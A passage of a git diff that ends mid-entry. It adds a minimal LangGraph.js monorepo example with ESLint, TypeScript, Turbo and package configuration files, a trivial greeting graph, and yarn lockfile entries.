"1.0.3" + resolved "https://registry.yarnpkg.com/typed-array-buffer/-/typed-array-buffer-1.0.3.tgz#a72395450a4869ec033fd549371b47af3a2ee536" + integrity sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw== + dependencies: + call-bound "^1.0.3" + es-errors "^1.3.0" + is-typed-array "^1.1.14" + +typed-array-byte-length@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/typed-array-byte-length/-/typed-array-byte-length-1.0.1.tgz#d92972d3cff99a3fa2e765a28fcdc0f1d89dec67" + integrity sha512-3iMJ9q0ao7WE9tWcaYKIptkNBuOIcZCCT0d4MRvuuH88fEoEH62IuQe0OtraD3ebQEoTRk8XCBoknUNc1Y67pw== + dependencies: + call-bind "^1.0.7" + for-each "^0.3.3" + gopd "^1.0.1" + has-proto "^1.0.3" + is-typed-array "^1.1.13" + +typed-array-byte-length@^1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/typed-array-byte-length/-/typed-array-byte-length-1.0.3.tgz#8407a04f7d78684f3d252aa1a143d2b77b4160ce" + integrity sha512-BaXgOuIxz8n8pIq3e7Atg/7s+DpiYrxn4vdot3w9KbnBhcRQq6o3xemQdIfynqSeXeDrF32x+WvfzmOjPiY9lg== + dependencies: + call-bind "^1.0.8" + for-each "^0.3.3" + gopd "^1.2.0" + has-proto "^1.2.0" + is-typed-array "^1.1.14" + +typed-array-byte-offset@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/typed-array-byte-offset/-/typed-array-byte-offset-1.0.2.tgz#f9ec1acb9259f395093e4567eb3c28a580d02063" + integrity sha512-Ous0vodHa56FviZucS2E63zkgtgrACj7omjwd/8lTEMEPFFyjfixMZ1ZXenpgCFBBt4EC1J2XsyVS2gkG0eTFA== + dependencies: + available-typed-arrays "^1.0.7" + call-bind "^1.0.7" + for-each "^0.3.3" + gopd "^1.0.1" + has-proto "^1.0.3" + is-typed-array "^1.1.13" + +typed-array-byte-offset@^1.0.4: + version "1.0.4" + resolved "https://registry.yarnpkg.com/typed-array-byte-offset/-/typed-array-byte-offset-1.0.4.tgz#ae3698b8ec91a8ab945016108aef00d5bff12355" + integrity sha512-bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ== + dependencies: + available-typed-arrays "^1.0.7" + call-bind "^1.0.8" + for-each "^0.3.3" + gopd "^1.2.0" + has-proto "^1.2.0" + is-typed-array "^1.1.15" + reflect.getprototypeof "^1.0.9" + +typed-array-length@^1.0.6: + version "1.0.6" + resolved "https://registry.yarnpkg.com/typed-array-length/-/typed-array-length-1.0.6.tgz#57155207c76e64a3457482dfdc1c9d1d3c4c73a3" + integrity sha512-/OxDN6OtAk5KBpGb28T+HZc2M+ADtvRxXrKKbUwtsLgdoxgX13hyy7ek6bFRl5+aBs2yZzB0c4CnQfAtVypW/g== + dependencies: + call-bind "^1.0.7" + for-each "^0.3.3" + gopd "^1.0.1" + has-proto "^1.0.3" + is-typed-array "^1.1.13" + possible-typed-array-names "^1.0.0" + +typed-array-length@^1.0.7: + version "1.0.7" + resolved "https://registry.yarnpkg.com/typed-array-length/-/typed-array-length-1.0.7.tgz#ee4deff984b64be1e118b0de8c9c877d5ce73d3d" + integrity sha512-3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg== + dependencies: + call-bind "^1.0.7" + for-each "^0.3.3" + gopd "^1.0.1" + is-typed-array "^1.1.13" + possible-typed-array-names "^1.0.0" + reflect.getprototypeof "^1.0.6" + +typescript@^6.0.3: + version "6.0.3" + resolved "https://registry.yarnpkg.com/typescript/-/typescript-6.0.3.tgz#90251dc007916e972786cb94d74d15b185577d21" + integrity sha512-y2TvuxSZPDyQakkFRPZHKFm+KKVqIisdg9/CZwm9ftvKXLP8NRWj38/ODjNbr43SsoXqNuAisEf1GdCxqWcdBw== + +uglify-js@^3.1.4: + version "3.19.3" + resolved "https://registry.yarnpkg.com/uglify-js/-/uglify-js-3.19.3.tgz#82315e9bbc6f2b25888858acd1fff8441035b77f" + integrity sha512-v3Xu+yuwBXisp6QYTcH4UbH+xYJXqnq2m/LtQVWKWzYc1iehYnLixoQDN9FH6/j9/oybfd6W9Ghwkl8+UMKTKQ== + +unbox-primitive@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/unbox-primitive/-/unbox-primitive-1.0.2.tgz#29032021057d5e6cdbd08c5129c226dff8ed6f9e" + integrity sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw== + dependencies: + call-bind "^1.0.2" + has-bigints "^1.0.2" + has-symbols "^1.0.3" + which-boxed-primitive "^1.0.2" + +unbox-primitive@^1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/unbox-primitive/-/unbox-primitive-1.1.0.tgz#8d9d2c9edeea8460c7f35033a88867944934d1e2" + integrity sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw== + dependencies: + call-bound "^1.0.3" + has-bigints "^1.0.2" + has-symbols "^1.1.0" + which-boxed-primitive "^1.1.1" + +undici-types@~6.19.2: + version "6.19.8" + resolved "https://registry.yarnpkg.com/undici-types/-/undici-types-6.19.8.tgz#35111c9d1437ab83a7cdc0abae2f26d88eda0a02" + integrity sha512-ve2KP6f/JnbPBFyobGHuerC9g1FYGn/F8n1LWTwNxCEzd6IfqTwUQcNXgEtmmQ6DlRrC1hrSrBnCZPokRrDHjw== + +unrs-resolver@^1.7.11: + version "1.11.1" + resolved "https://registry.yarnpkg.com/unrs-resolver/-/unrs-resolver-1.11.1.tgz#be9cd8686c99ef53ecb96df2a473c64d304048a9" + integrity sha512-bSjt9pjaEBnNiGgc9rUiHGKv5l4/TGzDmYw3RhnkJGtLhbnnA/5qJj7x3dNDCRx/PJxu774LlH8lCOlB4hEfKg== + dependencies: + napi-postinstall "^0.3.0" + optionalDependencies: + "@unrs/resolver-binding-android-arm-eabi" "1.11.1" + "@unrs/resolver-binding-android-arm64" "1.11.1" + "@unrs/resolver-binding-darwin-arm64" "1.11.1" + "@unrs/resolver-binding-darwin-x64" "1.11.1" + "@unrs/resolver-binding-freebsd-x64" "1.11.1" + "@unrs/resolver-binding-linux-arm-gnueabihf" "1.11.1" + "@unrs/resolver-binding-linux-arm-musleabihf" "1.11.1" + "@unrs/resolver-binding-linux-arm64-gnu" "1.11.1" + "@unrs/resolver-binding-linux-arm64-musl" "1.11.1" + "@unrs/resolver-binding-linux-ppc64-gnu" "1.11.1" + "@unrs/resolver-binding-linux-riscv64-gnu" "1.11.1" + "@unrs/resolver-binding-linux-riscv64-musl" "1.11.1" + "@unrs/resolver-binding-linux-s390x-gnu" "1.11.1" + "@unrs/resolver-binding-linux-x64-gnu" "1.11.1" + "@unrs/resolver-binding-linux-x64-musl" "1.11.1" + "@unrs/resolver-binding-wasm32-wasi" "1.11.1" + "@unrs/resolver-binding-win32-arm64-msvc" "1.11.1" + "@unrs/resolver-binding-win32-ia32-msvc" "1.11.1" + "@unrs/resolver-binding-win32-x64-msvc" "1.11.1" + +update-browserslist-db@^1.2.0: + version "1.2.3" + resolved "https://registry.yarnpkg.com/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz#64d76db58713136acbeb4c49114366cc6cc2e80d" + integrity sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w== + dependencies: + escalade "^3.2.0" + picocolors "^1.1.1" + +uri-js@^4.2.2: + version "4.4.1" + resolved "https://registry.yarnpkg.com/uri-js/-/uri-js-4.4.1.tgz#9b1a52595225859e55f669d928f88c6c57f2a77e" + integrity sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg== + dependencies: + punycode "^2.1.0" + +uuid@^14.0.0: + version "14.0.1" + resolved "https://registry.yarnpkg.com/uuid/-/uuid-14.0.1.tgz#8a5975b3e038902bfd169a10b5202f5ec0cf3faf" + integrity sha512-6ZxzVpzDXDa3bJWaHilVayA+BH/1zmxCJoVgvmqJnid/gPoKHxUrS/aC/T6LGQtNHT+XHG9fXPJB4d+IrU30Ew== + +v8-to-istanbul@^9.0.1: + version "9.3.0" + resolved "https://registry.yarnpkg.com/v8-to-istanbul/-/v8-to-istanbul-9.3.0.tgz#b9572abfa62bd556c16d75fdebc1a411d5ff3175" + integrity sha512-kiGUalWN+rgBJ/1OHZsBtU4rXZOfj/7rKQxULKlIzwzQSvMJUUNgPwJEEh7gU6xEVxC0ahoOBvN2YI8GH6FNgA== + dependencies: + "@jridgewell/trace-mapping" "^0.3.12" + "@types/istanbul-lib-coverage" "^2.0.1" + convert-source-map "^2.0.0" + +walker@^1.0.8: + version "1.0.8" + resolved "https://registry.yarnpkg.com/walker/-/walker-1.0.8.tgz#bd498db477afe573dc04185f011d3ab8a8d7653f" + integrity sha512-ts/8E8l5b7kY0vlWLewOkDXMmPdLcVV4GmOQLyxuSswIJsweeFZtAsMF7k1Nszz+TYBQrlYRmzOnr398y1JemQ== + dependencies: + makeerror "1.0.12" + +which-boxed-primitive@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/which-boxed-primitive/-/which-boxed-primitive-1.0.2.tgz#13757bc89b209b049fe5d86430e21cf40a89a8e6" + integrity sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg== + dependencies: + is-bigint "^1.0.1" + is-boolean-object "^1.1.0" + is-number-object "^1.0.4" + is-string "^1.0.5" + is-symbol "^1.0.3" + +which-boxed-primitive@^1.1.0, which-boxed-primitive@^1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/which-boxed-primitive/-/which-boxed-primitive-1.1.1.tgz#d76ec27df7fa165f18d5808374a5fe23c29b176e" + integrity sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA== + dependencies: + is-bigint "^1.1.0" + is-boolean-object "^1.2.1" + is-number-object "^1.1.1" + is-string "^1.1.1" + is-symbol "^1.1.1" + +which-builtin-type@^1.2.1: + version "1.2.1" + resolved "https://registry.yarnpkg.com/which-builtin-type/-/which-builtin-type-1.2.1.tgz#89183da1b4907ab089a6b02029cc5d8d6574270e" + integrity sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q== + dependencies: + call-bound "^1.0.2" + function.prototype.name "^1.1.6" + has-tostringtag "^1.0.2" + is-async-function "^2.0.0" + is-date-object "^1.1.0" + is-finalizationregistry "^1.1.0" + is-generator-function "^1.0.10" + is-regex "^1.2.1" + is-weakref "^1.0.2" + isarray "^2.0.5" + which-boxed-primitive "^1.1.0" + which-collection "^1.0.2" + which-typed-array "^1.1.16" + +which-collection@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/which-collection/-/which-collection-1.0.2.tgz#627ef76243920a107e7ce8e96191debe4b16c2a0" + integrity sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw== + dependencies: + is-map "^2.0.3" + is-set "^2.0.3" + is-weakmap "^2.0.2" + is-weakset "^2.0.3" + +which-typed-array@^1.1.14, which-typed-array@^1.1.15: + version "1.1.15" + resolved "https://registry.yarnpkg.com/which-typed-array/-/which-typed-array-1.1.15.tgz#264859e9b11a649b388bfaaf4f767df1f779b38d" + integrity sha512-oV0jmFtUky6CXfkqehVvBP/LSWJ2sy4vWMioiENyJLePrBO/yKyV9OyJySfAKosh+RYkIl5zJCNZ8/4JncrpdA== + dependencies: + available-typed-arrays "^1.0.7" + call-bind "^1.0.7" + for-each "^0.3.3" + gopd "^1.0.1" + has-tostringtag "^1.0.2" + +which-typed-array@^1.1.16, which-typed-array@^1.1.19: + version "1.1.20" + resolved "https://registry.yarnpkg.com/which-typed-array/-/which-typed-array-1.1.20.tgz#3fdb7adfafe0ea69157b1509f3a1cd892bd1d122" + integrity sha512-LYfpUkmqwl0h9A2HL09Mms427Q1RZWuOHsukfVcKRq9q95iQxdw0ix1JQrqbcDR9PH1QDwf5Qo8OZb5lksZ8Xg== + dependencies: + available-typed-arrays "^1.0.7" + call-bind "^1.0.8" + call-bound "^1.0.4" + for-each "^0.3.5" + get-proto "^1.0.1" + gopd "^1.2.0" + has-tostringtag "^1.0.2" + +which@^2.0.1: + version "2.0.2" + resolved "https://registry.yarnpkg.com/which/-/which-2.0.2.tgz#7c6a8dd0a636a0327e10b59c9286eee93f3f51b1" + integrity sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA== + dependencies: + isexe "^2.0.0" + +word-wrap@^1.2.5: + version "1.2.5" + resolved "https://registry.yarnpkg.com/word-wrap/-/word-wrap-1.2.5.tgz#d2c45c6dd4fbce621a66f136cbe328afd0410b34" + integrity sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA== + +wordwrap@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/wordwrap/-/wordwrap-1.0.0.tgz#27584810891456a4171c8d0226441ade90cbcaeb" + integrity sha512-gvVzJFlPycKc5dZN4yPkP8w7Dc37BtP1yczEneOb4uq34pXZcvrtRTmWV8W+Ume+XCxKgbjM+nevkyFPMybd4Q== + +"wrap-ansi-cjs@npm:wrap-ansi@^7.0.0": + version "7.0.0" + resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-7.0.0.tgz#67e145cff510a6a6984bdf1152911d69d2eb9e43" + integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q== + dependencies: + ansi-styles "^4.0.0" + string-width "^4.1.0" + strip-ansi "^6.0.0" + +wrap-ansi@^7.0.0: + version "7.0.0" + resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-7.0.0.tgz#67e145cff510a6a6984bdf1152911d69d2eb9e43" + integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q== + dependencies: + ansi-styles "^4.0.0" + string-width "^4.1.0" + strip-ansi "^6.0.0" + +wrap-ansi@^8.1.0: + version "8.1.0" + resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-8.1.0.tgz#56dc22368ee570face1b49819975d9b9a5ead214" + integrity sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ== + dependencies: + ansi-styles "^6.1.0" + string-width "^5.0.1" + strip-ansi "^7.0.1" + +wrappy@1: + version "1.0.2" + resolved "https://registry.yarnpkg.com/wrappy/-/wrappy-1.0.2.tgz#b5243d8f3ec1aa35f1364605bc0d1036e30ab69f" + integrity sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ== + +write-file-atomic@^5.0.1: + version "5.0.1" + resolved "https://registry.yarnpkg.com/write-file-atomic/-/write-file-atomic-5.0.1.tgz#68df4717c55c6fa4281a7860b4c2ba0a6d2b11e7" + integrity sha512-+QU2zd6OTD8XWIJCbffaiQeH9U73qIqafo1x6V1snCWYGJf6cVE0cDR4D8xRzcEnfI21IFrUPzPGtcPf8AC+Rw== + dependencies: + imurmurhash "^0.1.4" + signal-exit "^4.0.1" + +y18n@^5.0.5: + version "5.0.8" + resolved "https://registry.yarnpkg.com/y18n/-/y18n-5.0.8.tgz#7f4934d0f7ca8c56f95314939ddcd2dd91ce1d55" + integrity sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA== + +yallist@^3.0.2: + version "3.1.1" + resolved "https://registry.yarnpkg.com/yallist/-/yallist-3.1.1.tgz#dbb7daf9bfd8bac9ab45ebf602b8cbad0d5d08fd" + integrity sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g== + +yargs-parser@^21.1.1: + version "21.1.1" + resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-21.1.1.tgz#9096bceebf990d21bb31fa9516e0ede294a77d35" + integrity sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw== + +yargs@^17.7.2: + version "17.7.2" + resolved "https://registry.yarnpkg.com/yargs/-/yargs-17.7.2.tgz#991df39aca675a192b816e1e0363f9d75d2aa269" + integrity sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w== + dependencies: + cliui "^8.0.1" + escalade "^3.1.1" + get-caller-file "^2.0.5" + require-directory "^2.1.1" + string-width "^4.2.3" + y18n "^5.0.5" + yargs-parser "^21.1.1" + +yocto-queue@^0.1.0: + version "0.1.0" + resolved "https://registry.yarnpkg.com/yocto-queue/-/yocto-queue-0.1.0.tgz#0294eb3dee05028d31ee1a5fa2c556a6aaf10a1b" + integrity sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q== + +"zod@^3.25.76 || ^4": + version "4.3.6" + resolved "https://registry.yarnpkg.com/zod/-/zod-4.3.6.tgz#89c56e0aa7d2b05107d894412227087885ab112a" + integrity sha512-rftlrkhHZOcjDwkGlnUtZZkvaPHCsDATp4pGpuOOMDaTdDDXF91wuVDJoWoPsKX/3YPQ5fHuF3STjcYyKr+Qhg== diff --git a/libs/cli/js-monorepo-example/.eslintrc.cjs b/libs/cli/js-monorepo-example/.eslintrc.cjs new file mode 100644 index 0000000..da4c3ec --- /dev/null +++ b/libs/cli/js-monorepo-example/.eslintrc.cjs @@ -0,0 +1,62 @@ +module.exports = { + extends: [ + "eslint:recommended", + "prettier", + "plugin:@typescript-eslint/recommended", + ], + parserOptions: { + ecmaVersion: 12, + parser: "@typescript-eslint/parser", + project: "./tsconfig.json", + sourceType: "module", + }, + plugins: ["import", "@typescript-eslint", "no-instanceof"], + ignorePatterns: [ + ".eslintrc.cjs", + "scripts", + "src/utils/lodash/*", + "node_modules", + "dist", + "dist-cjs", + "*.js", + "*.cjs", + "*.d.ts", + ], + rules: { + "no-process-env": 2, + "no-instanceof/no-instanceof": 2, + "@typescript-eslint/explicit-module-boundary-types": 0, + "@typescript-eslint/no-empty-function": 0, + "@typescript-eslint/no-shadow": 0, + "@typescript-eslint/no-empty-interface": 0, + "@typescript-eslint/no-use-before-define": ["error", "nofunc"], + "@typescript-eslint/no-unused-vars": ["warn", { args: "none" }], + "@typescript-eslint/no-floating-promises": "error", + "@typescript-eslint/no-misused-promises": "error", + camelcase: 0, + "class-methods-use-this": 0, + "import/extensions": [2, "ignorePackages"], + "import/no-extraneous-dependencies": [ + "error", + { devDependencies: ["**/*.test.ts"] }, + ], + "import/no-unresolved": 0, + "import/prefer-default-export": 0, + "keyword-spacing": "error", + "max-classes-per-file": 0, + "max-len": 0, + "no-await-in-loop": 0, + "no-bitwise": 0, + "no-console": 0, + "no-restricted-syntax": 0, + "no-shadow": 0, + "no-continue": 0, + "no-underscore-dangle": 0, + "no-use-before-define": 0, + "no-useless-constructor": 0, + "no-return-await": 0, + "consistent-return": 0, + "no-else-return": 0, + "new-cap": ["error", { properties: false, capIsNew: false }], + }, +}; diff --git a/libs/cli/js-monorepo-example/apps/agent/langgraph.json b/libs/cli/js-monorepo-example/apps/agent/langgraph.json new file mode 100644 index 0000000..e39ef78 --- /dev/null +++ b/libs/cli/js-monorepo-example/apps/agent/langgraph.json @@ -0,0 +1,7 @@ +{ + "node_version": "20", + "graphs": { + "agent": "./src/graph.ts:graph" + }, + "env": "../../.env" +} diff --git a/libs/cli/js-monorepo-example/apps/agent/package.json b/libs/cli/js-monorepo-example/apps/agent/package.json new file mode 100644 index 0000000..8ca04a9 --- /dev/null +++ b/libs/cli/js-monorepo-example/apps/agent/package.json @@ -0,0 +1,18 @@ +{ + "name": "@js-monorepo-example/agent", + "version": "0.0.1", + "type": "module", + "main": "src/graph.ts", + "scripts": { + "build": "tsc", + "clean": "rm -rf dist" + }, + "dependencies": { + "@js-monorepo-example/shared": "*", + "@langchain/core": "^1.2.1", + "@langchain/langgraph": "^1.4.7" + }, + "devDependencies": { + "typescript": "^6.0.3" + } +} diff --git a/libs/cli/js-monorepo-example/apps/agent/src/graph.ts b/libs/cli/js-monorepo-example/apps/agent/src/graph.ts new file mode 100644 index 0000000..6bc4e63 --- /dev/null +++ b/libs/cli/js-monorepo-example/apps/agent/src/graph.ts @@ -0,0 +1,47 @@ +/** + * Simple LangGraph.js example for monorepo testing + */ +import { StateGraph } from "@langchain/langgraph"; +import { RunnableConfig } from "@langchain/core/runnables"; +import { StateAnnotation } from "./state.js"; +import { getGreeting } from "@js-monorepo-example/shared"; + +/** + * Simple node that uses the shared library + */ +const callModel = async ( + state: typeof StateAnnotation.State, + _config: RunnableConfig, +): Promise => { + // Use functions from the shared library + const greeting = getGreeting(); + + return { + messages: [ + { + role: "assistant", + content: `${greeting}`, + }, + ], + }; +}; + +/** + * Simple routing function + */ +export const route = ( + state: typeof StateAnnotation.State, +): "__end__" | "callModel" => { + if (state.messages.length > 0) { + return "__end__"; + } + return "callModel"; +}; + +// Create the graph +const builder = new StateGraph(StateAnnotation) + .addNode("callModel", callModel) + .addEdge("__start__", "callModel") + .addConditionalEdges("callModel", route); + +export const graph = builder.compile(); diff --git a/libs/cli/js-monorepo-example/apps/agent/src/state.ts b/libs/cli/js-monorepo-example/apps/agent/src/state.ts new file mode 100644 index 0000000..eeeecd4 --- /dev/null +++ b/libs/cli/js-monorepo-example/apps/agent/src/state.ts @@ -0,0 +1,15 @@ +import { BaseMessage, BaseMessageLike } from "@langchain/core/messages"; +import { Annotation, messagesStateReducer } from "@langchain/langgraph"; + +/** + * Simple state annotation for the agent + */ +export const StateAnnotation = Annotation.Root({ + /** + * Messages track the primary execution state of the agent. + */ + messages: Annotation({ + reducer: messagesStateReducer, + default: () => [], + }), +}); diff --git a/libs/cli/js-monorepo-example/apps/agent/tsconfig.json b/libs/cli/js-monorepo-example/apps/agent/tsconfig.json new file mode 100644 index 0000000..ed464a9 --- /dev/null +++ b/libs/cli/js-monorepo-example/apps/agent/tsconfig.json @@ -0,0 +1,9 @@ +{ + "extends": "../../tsconfig.json", + "compilerOptions": { + "outDir": "./dist", + "rootDir": "./src" + }, + "include": ["src/**/*"], + "exclude": ["node_modules", "dist"] +} diff --git a/libs/cli/js-monorepo-example/libs/shared/package.json b/libs/cli/js-monorepo-example/libs/shared/package.json new file mode 100644 index 0000000..20741f2 --- /dev/null +++ b/libs/cli/js-monorepo-example/libs/shared/package.json @@ -0,0 +1,14 @@ +{ + "name": "@js-monorepo-example/shared", + "version": "0.0.1", + "type": "module", + "main": "dist/index.js", + "types": "dist/index.d.ts", + "scripts": { + "build": "tsc", + "clean": "rm -rf dist" + }, + "devDependencies": { + "typescript": "^6.0.3" + } +} diff --git a/libs/cli/js-monorepo-example/libs/shared/src/index.ts b/libs/cli/js-monorepo-example/libs/shared/src/index.ts new file mode 100644 index 0000000..1987893 --- /dev/null +++ b/libs/cli/js-monorepo-example/libs/shared/src/index.ts @@ -0,0 +1,6 @@ +/** + * Simple utility functions for monorepo testing + */ +export function getGreeting(): string { + return "Hello from shared library!"; +} diff --git a/libs/cli/js-monorepo-example/libs/shared/tsconfig.json b/libs/cli/js-monorepo-example/libs/shared/tsconfig.json new file mode 100644 index 0000000..ed464a9 --- /dev/null +++ b/libs/cli/js-monorepo-example/libs/shared/tsconfig.json @@ -0,0 +1,9 @@ +{ + "extends": "../../tsconfig.json", + "compilerOptions": { + "outDir": "./dist", + "rootDir": "./src" + }, + "include": ["src/**/*"], + "exclude": ["node_modules", "dist"] +} diff --git a/libs/cli/js-monorepo-example/package.json b/libs/cli/js-monorepo-example/package.json new file mode 100644 index 0000000..6c09344 --- /dev/null +++ b/libs/cli/js-monorepo-example/package.json @@ -0,0 +1,34 @@ +{ + "name": "js-monorepo-example", + "version": "0.0.1", + "packageManager": "yarn@1.22.22", + "description": "A simple monorepo example for LangGraph integration testing.", + "private": true, + "workspaces": [ + "libs/*", + "apps/*" + ], + "type": "module", + "scripts": { + "build": "turbo build", + "clean": "turbo clean", + "test": "turbo test", + "format": "prettier --write .", + "lint": "eslint 'apps/**/*.ts' 'libs/**/*.ts'" + }, + "devDependencies": { + "turbo": "^2.10.2", + "typescript": "^6.0.3", + "@tsconfig/recommended": "^1.0.13", + "@eslint/eslintrc": "^3.3.5", + "@eslint/js": "^10.0.1", + "eslint": "^10.6.0", + "eslint-config-prettier": "^10.1.8", + "eslint-plugin-import": "^2.27.5", + "eslint-plugin-no-instanceof": "^1.0.1", + "eslint-plugin-prettier": "^5.5.6", + "@typescript-eslint/eslint-plugin": "^8.62.1", + "@typescript-eslint/parser": "^8.62.1", + "prettier": "^3.9.4" + } +} diff --git a/libs/cli/js-monorepo-example/tsconfig.json b/libs/cli/js-monorepo-example/tsconfig.json new file mode 100644 index 0000000..55e25f7 --- /dev/null +++ b/libs/cli/js-monorepo-example/tsconfig.json @@ -0,0 +1,16 @@ +{ + "extends": "@tsconfig/recommended", + "compilerOptions": { + "target": "ES2022", + "module": "ESNext", + "moduleResolution": "bundler", + "allowSyntheticDefaultImports": true, + "esModuleInterop": true, + "skipLibCheck": true, + "strict": true, + "declaration": true, + "outDir": "./dist" + }, + "include": ["apps/**/*", "libs/**/*"], + "exclude": ["node_modules", "dist"] +} diff --git a/libs/cli/js-monorepo-example/turbo.json b/libs/cli/js-monorepo-example/turbo.json new file mode 100644 index 0000000..815403f --- /dev/null +++ b/libs/cli/js-monorepo-example/turbo.json @@ -0,0 +1,15 @@ +{ + "$schema": "https://turbo.build/schema.json", + "tasks": { + "build": { + "dependsOn": ["^build"], + "outputs": ["dist/**"] + }, + "clean": { + "dependsOn": ["^clean"] + }, + "test": { + "dependsOn": ["^test"] + } + } +} diff --git a/libs/cli/js-monorepo-example/yarn.lock b/libs/cli/js-monorepo-example/yarn.lock new file mode 100644 index 0000000..85a044f --- /dev/null +++ b/libs/cli/js-monorepo-example/yarn.lock @@ -0,0 +1,1960 @@ +# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY. +# yarn lockfile v1 + + +"@cfworker/json-schema@^4.0.2": + version "4.1.1" + resolved "https://registry.yarnpkg.com/@cfworker/json-schema/-/json-schema-4.1.1.tgz#4a2a3947ee9fa7b7c24be981422831b8674c3be6" + integrity sha512-gAmrUZSGtKc3AiBL71iNWxDsyUC5uMaKKGdvzYsBoTW/xi42JQHl7eKV2OYzCUqvc+D2RCcf7EXY2iCyFIk6og== + +"@eslint-community/eslint-utils@^4.8.0", "@eslint-community/eslint-utils@^4.9.1": + version "4.9.1" + resolved "https://registry.yarnpkg.com/@eslint-community/eslint-utils/-/eslint-utils-4.9.1.tgz#4e90af67bc51ddee6cdef5284edf572ec376b595" + integrity sha512-phrYmNiYppR7znFEdqgfWHXR6NCkZEK7hwWDHZUjit/2/U0r6XvkDl0SYnoM51Hq7FhCGdLDT6zxCCOY1hexsQ== + dependencies: + eslint-visitor-keys "^3.4.3" + +"@eslint-community/regexpp@^4.12.2": + version "4.12.2" + resolved "https://registry.yarnpkg.com/@eslint-community/regexpp/-/regexpp-4.12.2.tgz#bccdf615bcf7b6e8db830ec0b8d21c9a25de597b" + integrity sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew== + +"@eslint/config-array@^0.23.5": + version "0.23.5" + resolved "https://registry.yarnpkg.com/@eslint/config-array/-/config-array-0.23.5.tgz#56e86d243049195d8acc0c06a1b3dfdc3fa3de95" + integrity sha512-Y3kKLvC1dvTOT+oGlqNQ1XLqK6D1HU2YXPc52NmAlJZbMMWDzGYXMiPRJ8TYD39muD/OTjlZmNJ4ib7dvSrMBA== + dependencies: + "@eslint/object-schema" "^3.0.5" + debug "^4.3.1" + minimatch "^10.2.4" + +"@eslint/config-helpers@^0.6.0": + version "0.6.0" + resolved "https://registry.yarnpkg.com/@eslint/config-helpers/-/config-helpers-0.6.0.tgz#ef9a36881d39dfd5dbeac22b0da997fabfb08b03" + integrity 